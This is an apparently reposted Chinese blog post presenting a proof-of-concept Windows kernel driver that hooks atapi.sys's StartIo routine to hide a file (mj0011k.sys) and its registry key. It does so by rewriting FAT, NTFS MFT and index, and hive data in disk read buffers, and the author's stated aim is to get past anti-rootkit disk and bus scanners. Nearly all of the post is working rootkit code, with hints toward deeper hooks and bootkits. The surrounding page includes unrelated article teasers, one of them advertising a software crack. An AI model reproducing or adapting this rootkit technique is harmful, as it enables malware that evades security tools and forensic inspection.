基于IO Packet隐藏文件和注册表,过磁盘解析和总线解析

【信息科学与工程学】计算机科学与自动化——第三十五篇 调度理论和调度算法01——资源调度算法 算法逻辑 阅读详情

mj0011

 

昨天晚上玩过游戏,睡觉前写了一点代码,下午醒来又稍微改了改

只是POC~

文件的貌似有时候能隐藏又时候不行~郁闷的是每次跟过去就可以隐藏了,不跟的话有时候又隐藏不了~最后懒得改了~~~另外 由于没有动CACHE,所以对于用API或者FSD的文件检查反而过不去~

注册表的部分过FILE CACHE的低强度解析(例如狙剑)也是过不了的~由于这方面工具很少,冰刃和DARKSPY又总是在我的虚拟机上蓝屏,所以就没仔细测试了~也许有问题~

hook了atapi.sys的StartIo例程(由IoStartPacket例程调用,SCSI REQUEST BLOCK最后会调用到这里),过滤磁盘访问~

目标是隐藏名为mj0011k.sys及其注册表项~
绕过所有磁盘解析(例如狙剑、FILEREG、RKU、RKR)
和总线解析(例如RKU发送SRB到ATAPI)

文件隐藏的handler直接照抄了AZY的代码 ^_^



Copy code

ULONG oldstartio;
PDRIVER_OBJECT atapi_dev ;


VOID unload(
                      PDEVICE_OBJECT DeviceObject,
                      PIRP Irp
    )
{
    atapi_dev->DriverStartIo = oldstartio ;
    return ;
}
CHAR fileHide[] = "MJ0011K";
CHAR fileExt[] = "SYS";
WCHAR hideFile[] = L"MJ0011K.SYS";
typedef struct _INDEX_HEADER{
    UCHAR            magic[4];
    USHORT            UpdateSequenceOffset;
    USHORT            SizeInWords;
    LARGE_INTEGER    LogFileSeqNumber;
    LARGE_INTEGER    VCN;
    ULONG            IndexEntryOffset;    // needed!
    ULONG            IndexEntrySize;
    ULONG            AllocateSize;
}INDEX_HEADER, *PINDEX_HEADER;


typedef struct _INDEX_ENTRY{
    LARGE_INTEGER        MFTReference;
    USHORT            Size;                // needed!
    USHORT            FileNameOffset;
    USHORT            Flags;
    USHORT            Padding;
    LARGE_INTEGER        MFTReferParent;
    LARGE_INTEGER        CreationTime;
    LARGE_INTEGER        ModifyTime;
    LARGE_INTEGER        FileRecModifyTime;
    LARGE_INTEGER        AccessTime;
    LARGE_INTEGER        AllocateSize;
    LARGE_INTEGER        RealSize;
    LARGE_INTEGER        FileFlags;
    UCHAR            FileNameLength;
    UCHAR            NameSpace;
    WCHAR            FileName[1];
}INDEX_ENTRY, *PINDEX_ENTRY;

CHAR NtfsFileRecordHeader[] = "FILE";
CHAR NtfsIndexRootHeader[] = "INDX";
#define FILERECORDSIZE 1024
ULONG xxlong = 0x7 ;
WCHAR regname[] = L"MJ0011K";
VOID HandleRegHide(PVOID buf , ULONG len )
{
    ULONG i ;
    for (i = 0 ; i < len  ; i ++)
    {
        if (i + 4 >= len)
        {
            break ;
        }
        if (*(ULONG*)((ULONG)buf + i ) == xxlong)
        {
            if (i + 4 + xxlong * sizeof(WCHAR) >= len)
            {
                break ;
            }

            if (_wcsnicmp((wchar_t*)((ULONG)buf + i + 4) , regname , xxlong))
            {
                RtlZeroMemory((PVOID)((ULONG)buf + i + 4) , xxlong * sizeof(WCHAR));
                *(ULONG*)((ULONG)buf +i ) = 0 ;
                break ;
            }
        }
    }
    return ;
}
VOID HandleAkDiskHide(PVOID UserBuf, ULONG BufLen)
{
    ULONG i;
    BOOLEAN bIsNtfsIndex;
    BOOLEAN bIsNtfsFile;
    ULONG offset = 0;
    ULONG indexSize = 0;
    PINDEX_ENTRY currIndxEntry = NULL;
    PINDEX_ENTRY preIndxEntry = NULL;
    ULONG currPosition;
   
   
    bIsNtfsFile = (_strnicmp(UserBuf, NtfsFileRecordHeader, 4) == 0);
    bIsNtfsIndex = (_strnicmp(UserBuf, NtfsIndexRootHeader, 4) == 0);
   
    if(bIsNtfsFile == FALSE && bIsNtfsIndex == FALSE)
    {           
       
        for(i = 0; i < BufLen/0x20; i++)
        {
            if(!_strnicmp(UserBuf, fileHide, 5) && !_strnicmp((PVOID)((ULONG)UserBuf+0x8), fileExt, 3))
            {
               
                *(PUCHAR)UserBuf        = 0xe5;
                *(PULONG)((ULONG)UserBuf + 0x1)    = 0;
               
                break;
               
            }
           
            UserBuf = (PVOID)((ULONG)UserBuf + 0x20);
           
        }
       
    } else if(bIsNtfsFile) {
       
        //DbgPrint("FILE0...");
       
        for(i = 0; i < BufLen / FILERECORDSIZE; i++)
        {
            if(!_wcsnicmp((PWCHAR)((ULONG)UserBuf + 0xf2), hideFile, 9))
            {
                memset((PVOID)UserBuf, 0, 0x4);
                memset((PVOID)((ULONG)UserBuf + 0xf2), 0, 18);
                break;
            }
           
            UserBuf = (PVOID)((ULONG)UserBuf + FILERECORDSIZE);
           
        }
       
    } else if(bIsNtfsIndex) {
       
        //DbgPrint("INDX...");
        // Index Entries
       
        offset = ((PINDEX_HEADER)UserBuf)->IndexEntryOffset + 0x18;
        indexSize = BufLen - offset;
        currPosition = 0;
       
        currIndxEntry = (PINDEX_ENTRY)((ULONG)UserBuf + offset);
        //DbgPrint(" -- offset: 0x%x indexSize: 0x%x", offset, indexSize);
       
        while(currPosition < indexSize && currIndxEntry->Size > 0 && currIndxEntry->FileNameOffset > 0)
        {
            if(!_wcsnicmp(currIndxEntry->FileName, hideFile, 9))
            {
                memset((PVOID)currIndxEntry->FileName, 0, 18);
               
                if(currPosition == 0)
                {
                    ((PINDEX_HEADER)UserBuf)->IndexEntryOffset += currIndxEntry->Size;
                    break;
                }
               
                preIndxEntry->Size += currIndxEntry->Size;
               
                break;
            }
           
            currPosition += currIndxEntry->Size;
            preIndxEntry = currIndxEntry;
            currIndxEntry = (PINDEX_ENTRY)((ULONG)currIndxEntry + currIndxEntry->Size);
           
        }
    }
}



VOID mystartio(  PDEVICE_OBJECT DeviceObject,  PIRP Irp )
{
    PIO_STACK_LOCATION irp_stack ;

    irp_stack = IoGetCurrentIrpStackLocation(Irp);

    if (irp_stack->DeviceObject->DeviceType == FILE_DEVICE_DISK &&
        irp_stack->Parameters.Scsi.Srb->Function == SRB_FUNCTION_EXECUTE_SCSI &&
        irp_stack->Parameters.Scsi.Srb->CdbLength == 0xA &&
        (irp_stack->Parameters.Scsi.Srb->SrbFlags & SRB_FLAGS_DATA_IN) &&
        irp_stack->Parameters.Scsi.Srb->DataBuffer &&
        irp_stack->Parameters.Scsi.Srb->DataTransferLength
        )

    {
        PVOID buf = irp_stack->Parameters.Scsi.Srb->DataBuffer ;
        ULONG len = irp_stack->Parameters.Scsi.Srb->DataTransferLength ;
        ULONG i ;
        PMDL mdl = Irp->MdlAddress ;

        KDMSG(("disk device bus read request!lba = %08x , len = %08x/n",
            irp_stack->Parameters.Scsi.Srb->QueueSortKey ,
            irp_stack->Parameters.Scsi.Srb->DataTransferLength));

        __asm
        {
            push    Irp
            push    DeviceObject
            call    oldstartio
        }


       
        buf = MmGetSystemAddressForMdl(mdl );

        HandleAkDiskHide(buf , len );
        HandleRegHide(buf , len);
        return ;
       
    }
    __asm
    {
        push    Irp
            push    DeviceObject
            call    oldstartio
        }

    return ;
}
NTSTATUS DriverEntry(PDRIVER_OBJECT drvobj , PUNICODE_STRING regpath)
{
    UNICODE_STRING uniname ;
    NTSTATUS stat ;


    drvobj->DriverUnload = (PDRIVER_UNLOAD )unload ;

    RtlInitUnicodeString(&uniname , L"//Driver//Atapi");

    stat = ObReferenceObjectByName(&uniname ,
        OBJ_CASE_INSENSITIVE ,
        NULL ,
        0,
        *IoDriverObjectType ,
        KernelMode ,
        NULL ,
        (PVOID*)&atapi_dev);

    if (!NT_SUCCESS(stat))
    {
        KDMSG(("get atapi drvobj failed , stat = %08x/n" , stat));
        return stat ;
    }

    oldstartio = atapi_dev->DriverStartIo ;
    atapi_dev->DriverStartIo = mystartio;

    return STATUS_SUCCESS ;
}

 

只是POC~代码很简单~状态不稳定.只是状态不稳定,例如有时候可能没隐藏了~而且没有照顾到CACHE~(bootkit的话不用考虑CACHE了~)倒是应该不会蓝屏 ^_^)

io packet 过滤其实可以干很多事,例如指定磁盘保护,防还原穿透,等等,比较底层(更底层的是pciidex,使用tophet的对象劫持然后举一反三~就可以.....)

 

思路基本上MJ爆全了~~

隐藏需要的处理也有代码了

剩下的事情就是处理为mj添加处理cache的代码~

【信息科学与工程学】计算机科学与自动化 第二百三十三篇 凤凰架构01 编号类型领域系统软件/硬件或系统集成方案及系统架构模块子模块函数名称/算法名称算法的数学分析及计算机体系架构及数据结构与算法详细设计及参数列表及数值范围设计关联知识1共识算法分布式基石状态机复制架构:Proposer/Acceptor/Learner 多节点角色模型,基于操作转移(Operation Transfer)分布式共识PaxosPaxos 协议(Prepare/Promise/Accept/Accepted 两阶段)数学基础:多数派(Quorum)投票,基于鸽巢原理保证 W+R>N 时读写集合必有 阅读详情

相关推荐

【信息科学与工程学】【数据中心】第三十二篇 云数据中心的计算/存储/网络的核心挑战01

状态方程: SOCk+1​=SOCk​−Qn​ik​Δt​;: 三相电流变换到αβ坐标系: iα​=32​​(ia​−21​ib​−21​ic​), iβ​=32​​(23​​ib​−23​​ic​). 计算瞬时有功功率p和无功功率q,经低通滤波器分离直流分量,反变换得基波电流,差值即为谐波指令。: 节点i的信念 bi​(xi​)=ϕi​(xi​)∏j∈N(i)​mji​(xi​), 消息 mij​(xj​)=∑xi​​ϕi​(xi​)ψij​(xi​,xj​)∏k∈N(i)\j​mki​(xi​).

weixin_49199313的博客 221

LVCOMS IO输出异常(一)

不同芯片间需要通过SPI,ESPI等低速信号进行通信,随着TSMC等晶圆厂在工艺方面不断升级,例如7nm IO的大规模商用,ASIC等芯片大规模量产,一颗ASIC芯片拥有很多SPI这类低速信号。 通常来说,LVCMOS IO信号可以通过寄存器配置:输出高/低电平,施密特触发,弱上下拉,驱动能力,高阻态等。芯片正常工作过程中,IO信号可以按照设置功能,正常运行。但是在上下电,电源DIP过程中,由于某些电源的跌落,或者时序不同,会导致IO输出异常。 异常现象包含如下现象: ...

zuoanxiaoji的博客 1014

【信息科学与工程学】【数据中心】第三十五篇 云计算数据中心的学科知识04

编号学科(课程)核心知识点在云计算/云存储/云网络/云安全/云MaaS中的作用代表教材/资料/论文 + 数学方程式列表工业界应用D1421​云原生数据库:TiDB​HTAP(混合事务/分析处理)、分布式SQL、水平扩展、强一致(Raft)、自动故障恢复、与MySQL兼容、TiFlash列式引擎提供弹性扩展的分布式数据库;支撑高并发在线交易与实时分析教材:《TiDB in Action》PingCAP(2020) 论文:《TiDB: A Raft-based HTAP Database》(2017)

weixin_49199313的博客 411

什么是fail safe IO

普通IO cell,内置二极管用作ESD保护。考虑一种应用场景,当芯片只有部分上电的时候。芯片部分IO,是断开电源。 如果芯片IO外接设备,输入给芯片高电平,会导致二极管导通,使得芯片内电源异常升压;即芯片内电源不是0v,而是3.3-0.7(二极管压降)=2.6v。 这种情况,会导致芯片所在PCB板,发生异常情况概率加大,因为PCB板电源不符合期望。方法一:IO采用fail safe,解决此类芯片部分断电导致的IO电源倒灌问题。 方法二:如果IO不带fail safe,需要考虑PCB板做好IO相连设备的一起

学而不思则罔,思而不学则殆 7893

MySQL半同步复制--handle_slave_io--4

handle_slave_io函数调用read_event函数:read_event函数从连接中读取事件,如果没有事件将会阻塞在这里等待master发送事件。#0 0x00898402 in __kernel_vsyscall () #1 0x00c28133 in poll () from /lib/libc.so.6 #2 0x08a90315 in vio_io_wait (vio=0

帅的数说 1313

Dbeaver连接TDengine时序数据库

也没啥好总结的,就一句话:Dbeaver真香,而且还是我大JAVA实现的,赞。希望能帮到大家,uping。

zwrlj527的专栏 1903

IO电路结构及应用

上电控制信号(POC)是根据IO电源和Core电源上电的先后顺序产生的,用于防止IO先于Core上电场景下,在IO上产生大的漏电。当IO电源先于Core电源上电,则产生一个POC使能信号,屏蔽掉Core逻辑输出信号,以确保后驱电路的控制信号为确定的电平。高阻态指的是电路的一种输出状态,既不是高电平也不是低电平,如果高阻态再输入下一级电路的话,对下级电路无任何影响,和没接一样,如果用万表表测的话有可能是高电平也有可能是低电平,随它后面接的东西定的。输出信号边沿变缓,对于上图右边信号。和buskeep类似。

qq_46308823的博客 495

信道估计之MMSE算法

信道估计之MMSE算法前言MMSE估计的原理总结 前言        前篇分析了LS信道估计算法,也说明了由于没有考虑SNR的影响,所以LS算法不适合在低信噪比的情况下使用。本篇来学习信道估计的另外一种常用的算法–MMSE。        为什么说LS没有考虑噪声大小的情况呢,因为LS算法使用的是实际观测量与估计观测量的误差,这并不能精确的代表估计量的真值与估计值的误

大白的博客 2万+

海思内核网络协议栈报错解决方法

移植内核时网络协议栈报错的问题。当设备连接网络后,疯狂打印:tnk_tcp_prepare: skb->dev is NULL 原因分析: 移植旧内核配置文件内容,关于网络部分配置大概如下: 其中不难发现,wifi模块有些功能已打开,而有些功能关闭了。可以确定该模块裁剪的不够干净,所以当网络尝试测试相关模块时发现设备不存在,因此就报了一些网络协议栈设备不存在的问题。为了解决这问题,最好的做法还是抛开旧内核的配置,根据产品要求重新裁剪内核较为合适。 具体实现方法,可参考【海思内核裁减方法】...

m0_37383484的博客 817

使用OpenTK展示3D点云图像(C#)

图中存在一个空的点,可通过阈值分割过滤掉,然后如何保证某个点必然存在后面两个和它构成三角形的点,用一个2x2的结构元腐蚀阈值分割出的区域,得到剩下所有的点必然每个点可以构成三角形,这种得到三角形的算法效率会非常高。然后还有光照,无光照和有光照效果差异很大,处理光照核心在于得到每个点的法向量,用上面的三角形的两条边构成的向量叉乘,及得到这个点的法向量,输入给着色器处理得到光照的渲染效果,如下面两张图对比。我们需要把点连成面,有很多算法可以实现,但我拿到的图为一张tif格式16位的深度图,如下图。

海盗Isaac 2283

Anaconda+清华源加速PyTorch GPU环境安装与CUDA版本匹配指南

深度学习环境管理常面临依赖冲突与下载缓慢问题,通过虚拟环境隔离与镜像源加速可显著提升效率。Anaconda利用conda机制创建独立Python环境,避免包版本冲突;清华源通过国内镜像同步大幅提高下载速度。GPU版PyTorch安装需严格匹配CUDA、cuDNN与显卡驱动版本,否则易出现CUDA不可用错误。该方案适用于图像分割、目标检测等需多版本PyTorch并存的场景,能快速搭建稳定GPU训练环境。本文详解Anaconda安装、清华源配置及PyTorch GPU版安装全流程。

weixin_30522983的博客 237

pixhawk PX4FMU和PX4IO最底层启动过程分析

首先,大体了解PX4IO 与PX4FMU各自的任务 PX4IO(STM32F100)为PIXHAWK 中专用于处理输入输出的部分,输入为支持的各类遥控器(PPM,SPKT/DSM,SBUS), 输出为电调的PWM 驱动信号, 它与PX4FMU(STM32F427)通过串口进行通信 PX4FMU :各种传感器数据读取、姿态解算、PWM控制量的计算、与PX4IO通信 进入主题 PX

czyv587的博客 2万+

生成式引擎优化(GEO)- 搜索引擎优化

生成式引擎优化(GEO)是针对AI内容生成平台(如ChatGPT)的新型优化策略,旨在提升品牌内容在AI生成答案中的引用率,与传统SEO存在显著差异。GEO通过优化内容权威性、结构化和语义关联,适应AI的RAG技术架构,采用3C原则(可爬性、网络共识、反馈校正)提升内容可见性。其核心区别在于目标(引用率vs排名)、技术(语义优化vs关键词)及算法透明度(封闭vs开放)。适用场景包括商业决策、行业权威建设及公共知识服务,帮助品牌在AI时代占据信息主导权。

解锁AI流量新红利!🚀 GEO优化(生成引擎优化)助您掌控AI搜索,让AI成为您的品牌最佳代言人! 1405

Wireshark保姆级安装与配置指南:从零到抓包实战

网络协议分析是理解现代计算机网络通信的基础,其核心原理在于捕获和解码数据包,以透视网络流量中的交互细节。作为实现这一功能的关键技术,抓包工具通过驱动层拦截网卡数据,为网络运维、安全审计和故障排查提供底层数据支撑。在众多工具中,Wireshark凭借其开源、跨平台和强大的协议解析能力,成为行业标准。本文聚焦于Wireshark在Windows环境下的部署,针对安装过程中常见的驱动兼容性、权限配置及安全软件拦截等典型问题,提供详尽的解决方案。通过解析Npcap驱动的关键选项,并指导完成首次抓包与TCP流追踪,帮

weixin_30568591的博客 226

手把手教你用STM32的SPI驱动MCP2517FD实现CAN FD通信(附完整代码)

本文详细介绍了如何使用STM32通过SPI驱动MCP2517FD实现CAN FD通信,涵盖硬件连接、SPI驱动编写、寄存器配置及数据收发实战。提供完整代码示例和常见问题排查指南,帮助开发者快速构建高可靠性的CAN FD通信系统,适用于汽车电子和工业控制等领域。

weixin_30607029的博客 676

Simulink仿真入门到精通(三) Simulink信号

本系列教程是根据孙忠潇编著的<<Simulink仿真及代码生成技术入门到精通>>学习笔记。 目录 Simulink仿真入门到精通(一) Simulink界面介绍 Simulink仿真入门到精通(二) Simulink模块 Simulink仿真入门到精通(三) Simulink信号 Simulink仿真入门到精通(四) Simulink子系统 Simulink仿真入门到精通(五) Simulink模型的仿真 Simulink仿真入门到精通(六) Simulink模型保存为图片 Sim

king110108的专栏 5397

Sun Java System Message Queue - Packet acknowledge failed after failover

<br />我项目运行一段时间出现下面错误:<br />[Log4jUpJMS] 2010-11-16 07:40:18 [ERROR][UpProducer] - JMS Client 生产者发送信息错误:<br />com.sun.messaging.jms.JMSException: [C4000]: Packet acknowledge failed. user=guest, broker=127.0.0.1:7676(1431)<br /> at com.sun.messaging.jmq.jms

无垠的天空专栏 2525

芒果YOLO11改进44:主干Backbone篇之MobileViT::结合最新 ICLR2022 顶会|轻量通用的MobileViT结构(一)Transformer,轻量级、通用且移动友好的视觉转换

MobileViT::结合最新 ICLR2022 顶会|轻量通用的MobileViT结构(一)Transformer,轻量级、通用且移动友好的视觉转换

包括YOLOv5、YOLOv7、YOLOv8等模型改进 373

Handler dispatch failed 问题。

在使用springmvc传数据到前台的时候,修改了后台的方法,导致出现了这个报错,原因不知道,解决方法,把程序关掉,重跑一遍。

weixin_42654662的博客 1万+

SIMATIC S7-1200, S7-1500 PID 控制[手册]

SIMATIC S7-1200, S7-1500 PID 控制[手册]

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

Failure [INSTALL_FAILED_CONFLICTING_PROVIDER]

问题 android studio安装程序遇到报错Failure [INSTALL_FAILED_CONFLICTING_PROVIDER] 分析 在网上搜索了一些资料、大都是说什么是AndroidManifest.xml中provoder的authorities值重复的问题。说需要修改这个值。 &lt;provider android:name="com.faceboo...

codehxy的专栏 774

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

计算机语言缩写大全

(源自:http://www.syncr.com/forums/thread/353.aspx)3C(China Compulsory Certification,中国强制性产品认证制度)3D(Three Dimensional,三维)3DCG(3D computer graphics,三维计算机图形)3DNow!(3D no waiting,无须等待的3D处理)3DPA(3D Positional Audio,3D定位音频)3DS(3D SubSystem,三维子系统)3GIO(Third Generat

有家客栈 君子不器 4万+

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

HandlerSocket使用经验

HandlerSocket 是一个日本人开发的mysql的插件,目的是用HandlerSocket把mysql改造成nosql的数据库。官方称qps可以到达70w/s+。 HandlerSocket其实是绕过mysql的sql解析部分,直接读写innodb,然后对外维护一个epoll的连接,通过简单的文本协议与客户端通讯。他对外提供的服务也是简单的k-v增删改。mysql的sql解析是非常耗时的

enough_br的专栏 1228

Telnet的故障定位,背后原来还有这么多事情

奉劝各位一定要细心观察,要不然… 本文关键字:telnet,IP地址重复,VRRP,IRF 出自公众号:工程师江湖 一、交待背景 网络设备新入网,各种调研,没错就是调研,他们怎么说的“我”不管,我还要在来一遍确认以及其他信息补充。 你问我为什么,大哥们,这个你以后遇到就知道了,有时候搞事情,信息错误,甚至信息不全,除非像我一样 做事周全,算无遗漏,聪明机智… 然而老司机也会翻车,这不接下来立马翻...

斜尘的博客 1019

端口被占用 关于Tomcat启动报错:Failed to initialize end point associated with ProtocolHandler ["http-apr-8080"]

这几天Tomcat启动老是遇见这个错 : Failed to initialize end point associated with ProtocolHandler ["http-apr-8080"],看来是非要我记住这个教训不可呀。 一般是 Tomcat 的默认端口被占用,或者 Tomcat 进程没有关掉。(这个可以通过任务管理器查看一下,如果发现 Tomcat 进程开着,那就结束它再启动 ...

qq_36935391的博客 3961
上一篇: 重温-Window(NT)启动过程
下一篇: Programming Self-generating Code for Windows Applications
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值